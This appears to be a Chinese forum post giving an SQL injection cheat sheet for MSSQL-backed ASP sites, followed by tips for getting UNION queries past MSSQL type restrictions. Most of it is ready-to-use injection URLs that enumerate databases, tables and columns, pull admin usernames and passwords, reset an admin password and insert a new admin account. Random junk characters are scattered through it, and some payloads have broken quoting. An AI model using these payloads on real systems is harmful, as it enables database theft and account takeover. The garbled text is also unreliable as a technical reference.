爆库:
) h' R1 n* N, A y. P+ r2 phttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--$ z: V- ?' o+ i. v5 z# {' T, @6 L
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.8 u U. B) U5 i' L# W
爆下一个库:6 E+ \- ^: w" m8 {; G
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
1 |/ q& A0 @0 f7 L* @. t
$ f* {4 w) I) k X爆表:2 j! i% `" F2 c" U
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--$ z$ y1 z! R' [0 T, {$ H$ B
* w% m* A) e2 R; m% k6 @% K# D# i2 X
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
% i. p" K) E1 h; d" j+ f% T6 r4 y- p% ?1 q3 f/ V/ r/ B* ? h
爆下一个表
9 [8 z9 [8 L/ x9 ^3 T: C- phttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
z0 T* q% Q, S4 Q8 g3 \4 U# R8 V: ~# b8 f: V
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--+ g* a, ~9 G7 ]0 I, [' K
6 }! V# n! c' q) c7 n
0 }" z' V! b3 P
# C7 m' r1 i% m爆字段: W0 s8 s/ f/ Y* S1 f) o- Y$ |
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
7 o# v7 Y: n% N* O( D' y6 f8 O, M! o Z$ x: f* O4 M
爆下一个字段5 p4 N+ e1 @- m) D
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- j" e' c7 g5 ]" p X! D' Y( i$ g
! J( T+ G# x0 a- K9 M7 {
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
2 p; H, D: y% O6 e
! U5 _0 K$ u- \) r5 |9 r/ @* M7 O- X& L: t+ e
爆字段里的内容3 |; E, r; J! n: i* e8 O0 S" y
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
4 L B0 u# d" O0 I: `5 u! A2 V1 ~! M
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--5 p) A& W! Y! a1 X* p2 R6 e7 s+ j* j
" j# P7 \- z' [3 U* Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
$ e5 z) f c* L# i' v# [. f4 @7 Y X- S: ]0 U, |
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
3 c3 A: k1 z/ p, x" W! A6 T7 ~5 u3 _6 ^3 O# C
更新字段里的内容
@/ B6 M6 R1 w" L o9 w) w8 ?0 rhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
2 d$ B3 y2 F. s% H( I& L
9 |+ V8 \7 E& H0 t0 f, }http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)-- u0 u% B- X% N, K
+ B" z+ o! N; J/ a3 K! r6 B. U
& D! \7 `, m2 h2 \* X3 n' j
6 Y: }# w# d/ H: X# F4 J 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。: t& s7 }. \# r. O
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
# p8 f) `5 v6 i, f 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。 ~) C' g, O: i% ^ l
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
( O! W) C0 p+ Y4 s1 S
( \' L5 K" F$ B5 t/ D V突了了大部份限制的语句
6 s% f' H' b$ j5 x x* P7 mand 1=2 union all select char(49),char(50),null,null;--
2 J9 e2 ]4 H4 J
g) N, b- c3 B. V# Q5 H6 d$ x% \
. O" {6 @7 q. ?' nnull也可以正常执行,不过没有回显,不好判断回显的列数。1 u( [ G( a/ p, A1 K! i6 P6 b
一般union遇到问题都是有text或者ntext字段,image的很少遇到
& y' x" w, j9 w, R
! f4 g# I9 w4 e: T& e0 _) U$ q可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟( d- ^2 Y- n4 O3 ?
g' ~0 K" X- n; n* f* Z, Z4 u+ b) w! C& f! b: C& e0 F2 H
|